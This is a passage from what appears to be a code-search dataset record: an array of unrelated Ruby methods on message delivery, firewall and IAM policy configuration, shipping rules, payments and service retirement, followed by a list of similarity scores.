newconfig\n\n # Add any new address objects that need to be configured to a set (due to any dst int map)\n newaddresses << newaddobj if newaddobj\n end\n\n else\n p \"create_fg_policy_rules: filter \\\"#{filter} referenced by interface does not exist for #{int}-#{sub}\"\\\n if $opts[:debug] || $opts[:verbose]\n end\n\n end\n else\n p \"Skipping interface #{int}-#{sub} due to, is not included in --interfacemapout file\"\\\n if $opts[:debug] || $opts[:verbose]\n end\n end\n end\n fwconfig += \"end \\n\"\n\n # If new address objects need to be created due that here, and insert them in the config ahead of creating\n # rules that will need to use these objects.\n if newaddresses.count > 0\n newconfig = \"### Additional FW Addresses from derived subnets ###\"\n newconfig += \"config firewall address\\n\"\n\n newaddresses.each do |x|\n newconfig += <<-EOS\n edit #{x}\n set type subnet\n set subnet #{x}\n set comment \"Derived subnet from interface IP due to rule with dst of any\"\n next\n EOS\n end\n\n newconfig += \"end\\n\"\n\n fwconfig = newconfig + fwconfig\n end\n\n return fwconfig\n end", "def deliver\n return false unless meets_requirements?\n _deliver\n true\n end", "def send_emails_to_share\n @policy = current_user.accessible_policies.find(params[:id])\n @email = params[:share_policy_email]\n @validation_error = @policy.errors[:share_policy_email][0] if @policy.errors.present?\n ReminderMailer.registration_confirmationss(@email).deliver\n end", "def policies; end", "def redelivered; @message_impl.getRedelivered; end", "def deliver\n\n begin\n\n if self.user.reauth\n self.update_attributes(status: \"UNAUTHORIZED\",\n rescheduled_at: (Time.now + REAUTH_RESCHEDULE).utc)\n\n elsif (!rate_limited? && retry?)\n\n client = self.user.twitter_client\n self.increment!(:attempts, 1)\n response = client.update!(self.content)\n\n #quick test\n #rate_limit = {'x-rate-limit-reset' => (Time.now + 3.seconds).to_i}\n #error = Twitter::Error.new(\"RateLimited\", rate_limit)\n #raise Twitter::Error::TooManyRequests, error\n\n #SUCCESS\n self.update_attributes(sent_at: client.status(response.id).created_at,\n tweet_id: response.id,\n rescheduled_at: nil,\n status: \"SENT\")\n end\n\n rescue => e\n errors.add(:tweet, e)\n handle_error(e) \n end\n\n end", "def send_pending; end", "def deliver(*)\n true\n end", "def after_redeem() end", "def deliver_now\n processed_smser.handle_exceptions do\n message.deliver\n end\n end", "def deliver_now!\n processed_smser.handle_exceptions do\n message.deliver!\n end\n end", "def is_aus_post_service_allowed(allowed_methods, service_code, item_weight, has_satchel)\n\n Rails.logger.debug(\"checking code #{service_code} weight #{item_weight}\")\n Rails.logger.debug(\"allowed_methods[service_code] is #{allowed_methods[service_code].class} and #{allowed_methods[service_code].to_s}\")\n if (allowed_methods[service_code].to_s == \"1\")\n \n Rails.logger.debug(\" #{service_code} is allowed by user\") \n \n return true if item_weight.to_f > 5.0\n #will fit in prepad satchel]\n if (item_weight.to_f > 3.0) # 3 to 5\n Rails.logger.debug(\" 3 to 5\")\n if has_satchel\n return service_code.include? (\"SATCHEL\")\n else\n return true\n end\n \n elsif (item_weight.to_f > 0.5) #0.5 to 3\n Rails.logger.debug(\" 0.5 to 3\") \n if has_satchel\n return service_code.include? (\"SATCHEL\")\n else\n return true\n end\n else\n Rails.logger.debug(\" 0.5\") \n if has_satchel \n Rails.logger.debug(\" service_code.include? ('SATCHEL_500G') #{ service_code.include? ('SATCHEL_500G')}\") \n \n return service_code.include? (\"SATCHEL\") \n else\n Rails.logger.debug(\"return true\")\n return true\n end \n end \n else\n return false\n #Rails.logger.debug(\"not an allowed shipping method\")\n #Rails.logger.debug \"Preference.AusPostParcelServiceListInt[service_code] is\" + Preference.AusPostParcelServiceListInt[service_code.to_sym].blank?.to_s\n #Rails.logger.debug \"Preference.AusPostParcelServiceListDom[service_code] is\" + Preference.AusPostParcelServiceListDom[service_code.to_sym].blank?.to_s\n \n #see if this is a recognized service, if not, allow this to be displayed to the user\n #value = Preference.AusPostParcelServiceListInt[service_code.to_sym].blank? && Preference.AusPostParcelServiceListDom[service_code.to_sym].blank?\n #Rails.logger.debug \"value is #{value.to_s}\"\n #return value\n end\n \n return false\n \n end", "def deliver(*params)\n type = ((resource_type == \"TaskNotification\") ? \n (resource.resource.nil? ?\n resource_type.underscore : \n resource.resource_type.underscore) : \n resource_type.underscore)\n begin\n Mailer.send \"deliver_#{type}\", target_user, params[0]\n rescue\n Mailer.send \"deliver_#{type}\", target_user\n end\n \n update_attribute(:delivered_at, Time.now)\n end", "def deliver\n raise Pomodori::Notifier::Error, \"This method needs to be overwritten\"\n end", "def deliver!(handler = deliver_with)\n \"BlabberMouth::DeliveryHandlers::#{handler.to_s.camelcase}\".constantize.deliver(self)\n end", "def do_not_deliver!\n def self.deliver! ; false ; end\n end", "def do_not_deliver!\n def self.deliver! ; false ; end\n end", "def do_not_deliver!\n def self.deliver! ; false ; end\n end", "def needs_delivery?\n # can write logic here for delivery methods\n false\n end", "def traffic_shaping\n Puppet.debug \"Entering traffic_shaping\"\n @networksystem=host.configManager.networkSystem\n portg=find_portgroup\n if ( resource[:traffic_shaping_policy] == :enabled )\n avgbandwidth = resource[:averagebandwidth].to_i * 1000\n peakbandwidth = resource[:peakbandwidth].to_i * 1000\n burstsize = resource[:burstsize].to_i * 1024\n enabled = 1\n\n hostnetworktrafficshapingpolicy = RbVmomi::VIM.HostNetworkTrafficShapingPolicy(:averageBandwidth => avgbandwidth, :burstSize => burstsize, :enabled => enabled, :peakBandwidth => peakbandwidth)\n\n elsif ( resource[:traffic_shaping_policy] == :disabled)\n enabled = 0\n hostnetworktrafficshapingpolicy = RbVmomi::VIM.HostNetworkTrafficShapingPolicy(:enabled => enabled)\n end\n\n hostnetworkpolicy = RbVmomi::VIM.HostNetworkPolicy(:shapingPolicy => hostnetworktrafficshapingpolicy)\n\n actualspec = portg.spec\n if (actualspec.policy != nil )\n actualspec.policy.shapingPolicy = hostnetworktrafficshapingpolicy\n else\n actualspec.policy = hostnetworkpolicy\n end\n @networksystem.UpdatePortGroup(:pgName => resource[:portgrp], :portgrp => actualspec)\n return true\n end", "def service_pt!()\n @service = TAC_PLUS_AUTHEN_SVC_PT\n end", "def set_policy\n @policy = Policy.find(params[:id])\n @broker = @policy.broker\n end", "def can_deliver?\n return false if inactive?\n return false if on_delivery?\n return false if sleepy?\n return false if waiting?\n true\n end", "def overdue_service(service)\n notification = Notification.find_by_name(\"Overdue service\")\n vehicle = service.fleet\n setting = vehicle.truck_fleet.setting.email_notifications.find_by_notification_id(notification.id)\n emails = self.find_emails(user, vehicle, setting)\n if emails.present?\n mail :to => emails,\n :subject => \"Service overdue. For #{vehicle.fleet_number}\"\n end\n end", "def reclaim()\n if @preempteeList.empty?\n $Logger.info \"No one requiring preemption\"\n return\n end\n # Look for low priority requests using resources of a higher class\n @preemptableList.clear\n @reqList.each do |req|\n if req.status == \"ALLOCATED\"\n match1 = @poolList.select {|p| p.name == req.pool}\n match2 = @svcList.select {|s| s.name == req.service}\n poolpri = match1[0].priclass \n svcpri = match2[0].priclass\n if priclass2Index(poolpri) > priclass2Index(svcpri) \n $Logger.info \"Adding req #{req.reqid} as preemption candidate\"\n @preemptableList.push(req)\n end\n end\n end\n $Logger.info \"The size of the preemptable list is #{@preemptableList.length}\"\n # Try and match preemptable with preemptee\n @preempteeList.each do |target|\n targetPriClass = getPriClass(target)\n $Logger.info \" Trying to find a match for #{target.reqid} with class #{targetPriClass}\"\n match = @preemptableList.select { |r|\n candPoolPriClass = getReqPoolPriClass(r)\n targetPriClass == candPoolPriClass}\n if match == nil or match[0] == nil\n $Logger.info \"No match found for #{target.reqid}\"\n next\n end\n # Check if we have already sent a reclaim request for this\n # environment recently\n r = match[0]\n ekey = r.service + \"-\" + r.zone + \"-\" + r.envid\n if @reclaimOutstanding.has_key?(ekey)\n if Time.now - @reclaimOutstanding.fetch(ekey) < 60\n $Logger.info \"Environment has recent reclaim request #{r.envid}\"\n next\n end\n end\n\n # Send a reclaim message to the target client which we are\n # preempting. The reclaim will cause a release of the resource\n # which should be assigned to the target\n \n $Logger.info \" Sending a reclaim for #{r.reqid}\"\n rec = Reclaim.new(\"RECLAIM\", r.reqid, r.envid)\n \n $eventProcessor.notifyclient(r.service + \"-\" + r.zone, rec.to_json) \n @reclaimOutstanding.store(ekey, Time.now) \n end\n\n end", "def due_service(service)\n notification = Notification.find_by_name(\"Due service\")\n vehicle = service.fleet\n setting = vehicle.truck_fleet.setting.email_notifications.find_by_notification_id(notification.id)\n emails = self.find_emails(user, vehicle, setting)\n \n if emails.present?\n mail :to => emails,\n :subject => \"Service due. For #{vehicle.fleet_number}\"\n end\n end", "def execute\n return unless active\n process_outbound_ack\n deactivate(@flag)\n end", "def service_ppp!()\n @service = TAC_PLUS_AUTHEN_SVC_PPP\n end", "def pre_pay_offered\n end", "def service_fwproxy!()\n @service = TAC_PLUS_AUTHEN_SVC_FWPROXY\n end", "def deliver_package package_id\n # remove the item in previous box if any\n current = self.package\n if current and self.status == CONSTANT['BOX_DELIVERING']\n current.status = CONSTANT['PACKAGE_WAITING_FOR_DELIVERY']\n self.status = CONSTANT['BOX_IDLE']\n self.package = nil\n self.access.clear\n self.save!\n current.save!\n Logging.log_manual_action self, current\n elsif current\n return false\n end\n return true if package_id.nil?\n \n if self.status == CONSTANT['BOX_IDLE']\n package = Package.find package_id\n return false if package.nil?\n # find previous box if any\n prev_box = package.box\n prev_backup_box = package.backup_box\n if prev_box or prev_backup_box\n package.status = CONSTANT['PACKAGE_WAITING_FOR_DELIVERY']\n package.save!\n if prev_box and ( prev_box.status == CONSTANT['BOX_DELIVERING'] or prev_box.status == CONSTANT['BOX_RETURNING'] )\n Logging.log_manual_action prev_box, package\n prev_box.status = CONSTANT['BOX_IDLE']\n prev_box.package = nil\n else\n Logging.log_manual_action prev_backup_box, package\n prev_backup_box.backup_package = nil\n end\n # save it later if the new assignment is successful\n end\n return false if package.status != CONSTANT['PACKAGE_WAITING_FOR_DELIVERY'].to_i\n # assign to new box\n package.box_id = self.id\n package.status = CONSTANT['PACKAGE_ENROUTE_DELIVERY']\n if package.save\n self.status = CONSTANT['BOX_DELIVERING']\n self.access.save_barcode package.barcode\n if self.save\n Logging.log_manual_action self, package\n if prev_box and prev_box.status == CONSTANT['BOX_IDLE']\n prev_box.access.clear\n prev_box.save!\n elsif prev_backup_box\n prev_backup_box.access.clear\n prev_backup_box.save!\n end\n return true\n end\n end\n end\n return false\n end", "def accept\n @proxy_deposit_request.transfer!(params[:reset])\n if params[:sticky]\n current_user.can_receive_deposits_from << @proxy_deposit_request.sending_user\n end\n redirect_to :back, notice: \"Transfer complete\"\n end", "def permit_delivery?(address, channel=nil, method=nil, limit=nil, timeframe=nil)\n # Skip check if address is whitelisted\n return true if is_whitelisted?(address)\n\n options = self.class.safetynet_options\n # Set defaults from current config and call stack\n channel = self.class.safetynet_channel if channel.nil?\n method = caller_locations(1, 1)[0].label if method.nil?\n limit = options[channel][:limit] if limit.nil?\n timeframe = options[channel][:timeframe] if timeframe.nil?\n\n # Query the model to determine if delivery is permitted\n permit_delivery = true\n if limit != false\n count_query = Safetynet::History.where({\n address: address,\n channel: channel,\n method: method\n })\n\n if timeframe != false\n count_query = count_query.where('created_at >= ?', Time.now - timeframe)\n end\n\n # If our sending is over the limit, deny\n if count_query.count >= limit\n permit_delivery = false\n end\n end\n\n if permit_delivery\n save_safetynet_delivery(address, channel, method)\n else\n Safetynet::NotificationMailer.delivery_denied_notification(address, channel, method, {\n limit: limit,\n timeframe: timeframe,\n message: 'Safetynet has caught a method!'\n }).deliver\n end\n\n permit_delivery\n end", "def deliver(params={})\n puts \"**** Message#deliver\" if params[:verbose]\n#puts \"**** Message#deliver response_time_limit=#{self.response_time_limit}\"\n save! if self.new_record?\n deliver_email() if send_email\n deliver_sms(:sms_gateway=>params[:sms_gateway] || default_sms_gateway) if send_sms\n end", "def deliver_now\n deliver!\n end", "def update_current_discount_to_service\n service = self.service\n if service\n #get spots already taken\n availabilities = service.availabilities\n spots_taken = service.reservations.get_unarchived.not_cancelled.count\n\n #get percentage availabilites\n number_of_ten_available = service.nb_10\n number_of_fifteen_available = service.nb_15\n number_of_twenty_available = service.nb_20\n number_of_twenty_five_available = service.nb_25\n\n #get new current discount\n #return 0 if no spots left\n if spots_taken >= availabilities \n discount = 0\n #start highest to lowest percentages \n #to see which percentage is still available \n elsif spots_taken < number_of_twenty_five_available\n discount = 0.25\n elsif spots_taken < number_of_twenty_available\n discount = 0.20\n elsif spots_taken < number_of_fifteen_available\n discount = 0.15\n else\n discount = 0.10\n end\n \n service.update(current_discount: discount)\n end\n end", "def trust_service(name, policy_name = nil, &block)\n policy_name ||= \"trust-#{name}-service\"\n @trust_relationship = Model::Mixin::Policy.new(:name => policy_name, :template => @template)\n trust_relationship.allow do\n action 'sts:AssumeRole'\n principal :Service => \"#{name}.amazonaws.com\"\n end\n trust_relationship.instance_exec(&block) if block\n end", "def perform_post_submit(endpoint, actual_submitter)\n # Try and find location of the service from the url of the endpoint.\n wsdl_geoloc = ServiceCatalographer::Util.url_location_lookup(endpoint)\n city, country = ServiceCatalographer::Util.city_and_country_from_geoloc(wsdl_geoloc)\n \n hostname = Addressable::URI.parse(endpoint).host\n provider_name = hostname.gsub(\".\", \"-\")\n \n # Create the associated service, service_version and service_deployment objects.\n # We can assume here that this is the submission of a completely new service in ServiceCatalogue.\n \n new_service = Service.new(:name => self.name)\n \n new_service.submitter = actual_submitter\n \n new_service_version = new_service.service_versions.build(:version => \"1\", \n :version_display_text => \"1\")\n \n new_service_version.service_versionified = self\n new_service_version.submitter = actual_submitter\n \n new_service_deployment = new_service_version.service_deployments.build(:endpoint => endpoint,\n :city => city,\n :country => country) \n \n provider_hostname = ServiceProviderHostname.find_or_initialize_by_hostname(hostname)\n \n if provider_hostname.service_provider.nil?\n provider = ServiceProvider.find_or_create_by_name(provider_name)\n provider_hostname.service_provider_id = provider.id\n provider_hostname.save!\n else\n provider = provider_hostname.service_provider\n end\n \n new_service_deployment.provider = provider \n new_service_deployment.service = new_service\n new_service_deployment.submitter = actual_submitter\n \n return new_service.save!\n end", "def deliver(payload, opts, key)\n # noOp\n end", "def deliver\n raise 'Must approve change first' if current_stage.stage.eql? 'verify'\n return nil if current_stage.stage != 'acceptance'\n raise 'Must run AutomateSoup.setup first' if AutomateSoup.url.nil? || AutomateSoup.credentials.nil?\n raise \"Deliver link not available, #{links.inspect}\" if links.nil? || links['deliver'].nil? || links['deliver']['href'].nil?\n url = links['deliver']['href']\n url = \"#{AutomateSoup.url}#{url}\" unless url.include?('http')\n res = AutomateSoup::Rest.post(\n url: url,\n username: AutomateSoup.credentials.username,\n token: AutomateSoup.credentials.token\n )\n raise \"Failed to deliver change: #{res.code}\" if res.code != '204'\n true\n end", "def perform(message)\n @file_set = ActiveFedora::Base.find(message['id'])\n uri = URI.parse(content_url)\n return if uri.path == ''\n GeoWorks::DeliveryService.new(file_set, uri.path).publish\n end", "def distribute!\n # the share for invested readers before\n amount = total * READER_RATIO\n\n # payment maybe swapped\n revenue_asset_id = payment.swap_order&.fill_asset_id || payment.asset_id\n\n # the present orders\n _orders =\n item.orders\n .where('id < ? and created_at < ?', id, created_at)\n\n # total investment\n sum = _orders.sum(:total)\n\n # create reader transfer\n _distributed_amount = 0\n _orders.each do |_order|\n # ignore if amount is less than minium amout for Mixin Network\n _amount = (amount * _order.total / sum).round(8)\n next if (_amount - MINIMUM_AMOUNT).negative?\n\n transfers.create_with(\n wallet: payment.wallet,\n transfer_type: :reader_revenue,\n opponent_id: _order.buyer.mixin_uuid,\n asset_id: revenue_asset_id,\n amount: _amount.to_f.to_s,\n memo: \"Reader revenue from #{item.title}\".truncate(70)\n ).find_or_create_by!(\n trace_id: PrsdiggBot.api.unique_conversation_id(trace_id, _order.trace_id)\n )\n\n _distributed_amount += _amount\n end\n\n # create prsdigg transfer\n _prsdigg_amount = (total * PRSDIGG_RATIO).round(8)\n if payment.wallet.present?\n transfers.create_with(\n wallet: payment.wallet,\n transfer_type: :prsdigg_revenue,\n opponent_id: PrsdiggBot.api.client_id,\n asset_id: revenue_asset_id,\n amount: _prsdigg_amount.to_f.to_s,\n memo: \"article uuid: #{item.uuid}》\".truncate(140)\n ).find_or_create_by!(\n trace_id: payment.wallet.mixin_api.unique_conversation_id(trace_id, PrsdiggBot.api.client_id)\n )\n end\n\n # create author transfer\n transfers.create_with(\n wallet: payment.wallet,\n transfer_type: :author_revenue,\n opponent_id: item.author.mixin_uuid,\n asset_id: revenue_asset_id,\n amount: (total - _distributed_amount - _prsdigg_amount).round(8),\n memo: \"#{payment.payer.name} #{buy_article? ? 'bought' : 'rewarded'} article #{item.title}\".truncate(70)\n ).find_or_create_by!(\n trace_id: PrsdiggBot.api.unique_conversation_id(trace_id, item.author.mixin_uuid)\n )\n end", "def _process_action(action)\n case action\n when Action::Bid\n if @auctioning_company\n add_bid(action)\n else\n @last_to_act = @current_entity\n placement_bid(action)\n end\n when Action::Par\n share_price = action.share_price\n corporation = action.corporation\n @game.stock_market.set_par(corporation, share_price)\n @share_pool.buy_shares(@current_entity, corporation.shares.first, exchange: :free)\n @companies_pending_par.shift\n end\n end", "def deliver!\n @delivery_time = Time.new + 30*60\n end", "def delivered!\n self.delivered_at = Time.now\n self.save!\n end", "def before_delivery\r\n return if params[:order].present?\r\n \r\n if @order.bill_address.address1 == 'dummy_address1' or @order.bill_address.city == 'dummy_city' or @order.bill_address.address2.include? \"CityBox\"\r\n @disable_all_except_citybox = true\r\n end\r\n\r\n packages = @order.shipments.map { |s| s.to_package }\r\n @differentiator = Spree::Stock::Differentiator.new(@order, packages)\r\n end", "def valid_delivery_service?\n self.delivery_service ? self.available_delivery_services.include?(self.delivery_service) : !self.delivery_required?\n end", "def push_message(group_name, obj_id, instance_id, mime_type, io, voi, expiration_time, source)\n if @dissemination_type == @@DISSERVICE_DISSEMINATOR\n @dissemination_handler.push_to_disservice(group_name, obj_id, instance_id, mime_type, io, voi, expiration_time)\n elsif @dissemination_type == @@DSPRO_DISSEMINATOR\n @dissemination_handler.add_message(group_name, obj_id, instance_id, mime_type, io, expiration_time, source) \n \tend\n end", "def place_offer(proposer, amount)\n\t\t\tif proposer.balance >= amount\n\t\t\t\tsell_to(proposer, amount) if @owner.decide(:consider_proposed_trade, game: @owner.game, player: @owner, proposer: proposer, property: self, amount: amount).is_yes?\n\t\t\tend\n\t\tend", "def offer\n end", "def offer\n end", "def offer\n end", "def transfer; end", "def transfer; end", "def apply_distributed_policy\n if self.policy.parent_id.nil?\n Delayed::Job.enqueue PolicyAssetSubtypeRuleDistributerJob.new(PolicyAssetSubtypeRule.includes(:policy).where(policies: {parent_id: self.policy_id},policy_asset_subtype_rules: {asset_subtype_id: self.asset_subtype_id}).pluck('policy_asset_subtype_rules.id').join(',')), :priority => 0\n end\n end", "def do_pay\n self.paid_at = Time.now.utc\n self.send_paid\n end", "def supplier_payments_job\n logger.info '** Purchase supplier_payments_job start'\n purchase_verificate = Services::PurchaseVerificate.new(self, paid_at)\n if purchase_verificate.supplier_payments\n logger.info \"** Purchase #{id} supplier_payments_verificate returned ok\"\n else\n logger.info \"** Purchase #{id} supplier_payments_verificate did NOT return ok\"\n end\n end", "def deliver\n @delivered = response.is_a? Net::HTTPSuccess\n end", "def create\n if params[:trade_id]\n trade = Trade.find params[:trade_id]\n item = trade.item\n offer = trade.offer\n if current_user and trade.item.user_id == current_user.id\n if trade.active?\n accepted_offer = AcceptedOffer.new\n accepted_offer.trade_id = params[:trade_id]\n accepted_offer.user_id = current_user.id\n accepted_offer.recent_tradeya = true\n if accepted_offer.save\n trade.update_attribute(:status, \"ACCEPTED\")\n item.reduce_quantity\n offer.reduce_quantity\n copy2me = (params[:copy2me] == 'true')\n # this is an immediate notification with Publisher's message\n #EventNotification.add_2_notification_q(NOTIFICATION_TYPE_IMIDIATE, NOTIFICATION_OFFER_ACCEPTED, offer.user_id, {:trade_id => trade.id, :msg => params[:msg], :copy2me => copy2me, :chk_user_setting => true})\n TradeMailer.offer_accepted_offerer(offer.id,offer.user.id,item.id,item.user.id).deliver\n TradeMailer.offer_accepted_owner(offer.id,offer.user.id,item.id,item.user.id).deliver\n TradeMailer.review_reminder_offerer(offer.user.id,item.user.id).deliver_in(3.days)\n TradeMailer.review_reminder_owner(offer.user.id,item.user.id).deliver_in(3.days)\n # to show count of offers accepted in daily or weekly notification mails\n EventNotification.add_2_notification_q(NOTIFICATION_TYPE_USER_SETTING, NOTIFICATION_OFFER_ACCEPTED, offer.user_id, {:trade_id => trade.id, :msg => params[:msg], :copy2me => copy2me}) unless (offer.user.notification_frequency == NOTIFICATION_FREQUENCY_IMMEDIATE or !offer.user.notify_offer_accepted)\n \n # Alert.add_2_alert_q(ALERT_TYPE_OFFER, OFFER_ACCEPTED, offer.user_id, nil, trade.id)\n end\n end\n end\n # if item.completed?\n # redirect_to accepted_offers_item_path(item)\n # else\n # redirect_to trade_offers_item_path(item)\n # end\n redirect_to past_trades_user_path(current_user,:trade => trade.id)\n end\n end", "def can_deliver?(cur, amount)\n amount > 0.01 && amount <= available_balance(cur)\n end", "def update_service_status\n if(@service_request and @status)\n @service_request.update_attributes(status_id: @status.id)\n UserMailer.accepted_rejected(@service_request.user, @service_request).deliver_now\n flash[:success] = \"Service request accepted \"\n redirect_to admin_partners_path\n else\n flash[:error] = \"Service request not found!\"\n redirect_to admin_partners_path\n end \n end", "def create\n @responsibility_request = ResponsibilityRequest.new(params[:responsibility_request])\n @service = Service.find(params[:responsibility_request][:subject_id])\n \n respond_to do |format|\n if @responsibility_request.save\n flash[:notice] = \"You request was successfully received\"\n \n # mail those responsible\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::ServiceOwnerRequestNotification.new(@service.all_responsibles,\n base_host, @service, current_user ))\n # Send confirmation mail to user\n # logger.info(\"Sending confirmation mail to requester: #{current_user.email}\")\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::ServiceClaimantRequestNotification.new(current_user, base_host, @service))\n \n format.html { redirect_to(@service) }\n format.xml {disable_action}\n else\n flash[:error] = \"Could not process your request\"\n format.html { redirect_to(@service) }\n format.xml {disable_action}\n end\n end\n end", "def delivery_service_price\n self.delivery_service && self.delivery_service.delivery_service_prices.for_weight(self.total_weight).first\n end", "def accept\n @proxy_deposit_request.transfer!(params[:reset])\n if params[:sticky]\n current_user.can_receive_deposits_from << @proxy_deposit_request.sending_user unless\n current_user.can_receive_deposits_from.include? @proxy_deposit_request.sending_user\n end\n redirect_to hyrax.transfers_path, notice: \"Transfer complete\"\n end", "def offer\n # TODO: implement\n end", "def service_retirement(service, dialogs_options_hash)\n log(:info, \"Processing service_retirement...\", true)\n\n new_service_retirement = dialogs_options_hash[0][:dialog_service_retirement] rescue nil\n new_service_retirement_warning = dialogs_options_hash[0][:dialog_service_retirement_warning] rescue nil\n\n if new_service_retirement.nil?\n # service retirement based tag\n service_retirement_tag = dialogs_options_hash[0][:dialog_tag_0_environment] rescue nil\n case service_retirement_tag\n when 'dev'\n # retire service in 2 weeks with 3 day warning\n new_service_retirement = 14\n new_service_retirement_warning = 3\n when 'test'\n # retire service in 1 week with 1 day warning\n new_service_retirement = 7\n new_service_retirement_warning = 1\n when 'prod'\n # retire service in 1 month with 1 week warning\n new_service_retirement = 30\n new_service_retirement_warning = 7\n else\n new_service_retirement = nil\n new_service_retirement_warning = nil\n end\n end\n unless new_service_retirement.nil?\n new_service_retirement = (DateTime.now + new_service_retirement.to_i).strftime(\"%Y-%m-%d\")\n service.retires_on = new_service_retirement.to_date\n service.retirement_warn = new_service_retirement_warning.to_i unless new_service_retirement_warning.nil?\n end\n log(:info, \"Service: #{service.name} retires_on: #{service.retires_on} retirement_warn: #{service.retirement_warn}\")\n log(:info, \"Processing service_retirement...Complete\", true)\nend", "def rb_deliver(pj, data)\n if pj != @pid\n puts @pid.to_s+\" rb_deliver \"+data[:m].to_s+\" od \"+pj.to_s+\" s vc:\"+data[:vc].to_s\n\n @pending << [pj, data]\n # potreba nekolikrat zavolat deliver_pending kvuli podmince while exists\n # prvni zprava v pending se totiz muze preskocit, pak se doruci druha\n # a az pak je potreba dorucit tu prvni... tohle je oklika pred slozitym cyklem\n # a podminkami\n 1.upto(THREAD_CNT) {\n self.deliver_pending\n }\n end\n end", "def is_delivery\n profile.delivery\n end", "def injectPolicyTargets(policy, targets, attach: false)\n if @deploy and !policy.match(/^#{@deploy.deploy_id}/)\n policy = @mu_name+\"-\"+policy.upcase\n end\n my_policies = cloud_desc(use_cache: false)[\"policies\"]\n my_policies ||= []\n\n seen_policy = false\n my_policies.each { |p|\n if p.policy_name == policy\n seen_policy = true\n old = MU::Cloud::AWS.iam(credentials: @credentials).get_policy_version(\n policy_arn: p.arn,\n version_id: p.default_version_id\n ).policy_version\n\n doc = JSON.parse URI.decode_www_form_component old.document\n need_update = false\n\n doc[\"Statement\"].each { |s|\n targets.each { |target|\n target_string = target\n\n if target['type'] and @deploy\n sibling = @deploy.findLitterMate(\n name: target[\"identifier\"],\n type: target[\"type\"]\n )\n\n target_string = sibling.cloudobj.arn\n elsif target.is_a? Hash\n target_string = target['identifier']\n end\n\n unless s[\"Resource\"].include? target_string\n s[\"Resource\"] << target_string\n need_update = true\n end\n }\n }\n\n if need_update\n MU.log \"Updating IAM policy #{policy} to grant permissions on #{targets.to_s}\", details: doc\n update_policy(p.arn, doc)\n end\n end\n }\n\n if !seen_policy\n MU.log \"Was given new targets for policy #{policy}, but I don't see any such policy attached to role #{@cloud_id}\", MU::WARN, details: targets\n end\n end", "def service_arap!()\n @service = TAC_PLUS_AUTHEN_SVC_ARAP\n end", "def safe_publish(e)\n on_exchange do |exchange|\n exchange.publish(e.to_json, :routing_key => @routing_key)\n end\n end", "def bi_service\n end", "def deliverable(adap = adapter)\n adap = \"BlabberMouth::Adapters::#{adap.to_s.camelcase}\".constantize.new(self)\n adap.convert\n adap.deliverable\n end", "def service; end", "def put_distribution_task_on_hold(appeal, appeal_type)\n distribution_task = DistributionTask.find_by(appeal_id: appeal.id, appeal_type: appeal_type)\n distribution_task.update!(status: \"on_hold\", placed_on_hold_at: Time.zone.now)\n distribution_task\n end", "def remove(policy, name = nil)\n service = @state.delete(policy, name)\n\n logger.info \"remove policy=#{policy} with config=#{name}: #{service}\"\n\n begin\n service.stop\n rescue => error\n raise ServiceError, \"stop: #{error}\"\n end\n end", "def quick_deliver(opts={})\n raise \"Must implement quick deliver method!\"\n end", "def read_service_payments\r\n read_service_payment while peek == 'SVC'\r\n self\r\n end", "def autoDeliver(auto_archive = false)\n # access 'orders' page\n try_get(\"https://checkout.google.com/sell/orders\")\n\n more_buttons = true\n\n # 押すべきボタンがなくなるまで、ボタンを押し続ける\n while(more_buttons)\n more_buttons = false\n\n @agent.page.forms.each do |form|\n order_id = nil\n order_field = form.field_with(:name => \"OrderSelection\")\n if (order_field)\n order_id = order_field.value\n end\n\n button = form.button_with(:name => \"closeOrderButton\")\n if (button)\n puts \"Deliver : #{order_id}\"\n elsif (auto_archive)\n button = form.button_with(:name => \"archiveButton\")\n if (button)\n puts \"Archive : #{order_id}\"\n end\n end\n\n if (button)\n form.click_button(button)\n more_buttons = true\n break\n end\n end\n end\n end", "def plan\n super\n @trip.itineraries\n .find_by(trip_type: @outbound_trip_type, service: @outbound_service)\n .try(:select)\n @trip.save\n @trip\n end", "def sell_at_any_cost(percent_decrease = 0.3)\n market_name = @market_name\n open_orders_url = get_url({ :api_type => \"market\", :action => \"open_orders\", :market => market_name })\n open_orders = call_secret_api(open_orders_url)\n #cancel all orders\n if open_orders.size > 0\n open_orders.each do |open_order|\n cancel_order_url = get_url({ :api_type => \"market\", :action => \"cancel_by_uuid\", :uuid => open_order[\"OrderUuid\"] })\n call_secret_api(cancel_order_url)\n end\n end\n # call sell bot again with lower profit\n sell_order = sell_bot(percent_decrease)\nend", "def work(message, to, headers)\n failures = queue_for_x_death(headers['x-death'])\n\n exchange.publish(message,\n routing_key: \"#{queue_name}_delay_#{failures}\",\n persistent: !Proletariat.test_mode?,\n headers: headers.merge('proletariat-to' => to))\n\n nil\n end", "def service_retirement(service, dialog_options)\n log(:info, \"Processing service_retirement...\", true)\n service_retirement = dialog_options.fetch('dialog_service_retirement', 3)\n service_retirement_warning = dialog_options.fetch('dialog_service_retirement_warning', 1)\n new_service_retirement = (DateTime.now + service_retirement.to_i).strftime(\"%Y-%m-%d\")\n log(:info, \"Changing Service: #{service.name} retires_on: #{new_service_retirement} retirement_warn: #{service_retirement_warning}\")\n service.retires_on = new_service_retirement.to_date\n service.retirement_warn = service_retirement_warning.to_i\n log(:info, \"Processing service_retirement...Complete\", true)\n end" ]
[ "0.5784609", "0.54930514", "0.54576933", "0.5345692", "0.5344035", "0.5299078", "0.5296494", "0.52739525", "0.5269634", "0.5269204", "0.525003", "0.5235203", "0.5229956", "0.5173973", "0.51702315", "0.5166654", "0.512627", "0.5111638", "0.5096498", "0.509234", "0.5091001", "0.50877357", "0.5079553", "0.50693077", "0.50664985", "0.5057595", "0.50464565", "0.5034961", "0.5029907", "0.5024188", "0.50174963", "0.50145066", "0.49961063", "0.49961063", "0.49961063", "0.4985018", "0.49822763", "0.4971108", "0.49563667", "0.49436778", "0.49427006", "0.49367452", "0.4932184", "0.49193132", "0.49148938", "0.49127403", "0.49121204", "0.4908839", "0.48994353", "0.48942566", "0.48900887", "0.488835", "0.48830578", "0.48797494", "0.48646998", "0.48575518", "0.48562896", "0.48538163", "0.48469743", "0.48379683", "0.48364097", "0.48208976", "0.48208895", "0.48175123", "0.480044", "0.47995794", "0.47889185", "0.47889185", "0.47889185", "0.47859848", "0.47859848", "0.47847992", "0.4780302", "0.47770107", "0.47748953", "0.477411", "0.47734568", "0.47713622", "0.476748", "0.47649655", "0.476133", "0.47572157", "0.4747664", "0.47437915", "0.47403136", "0.47363582", "0.47333848", "0.47333243", 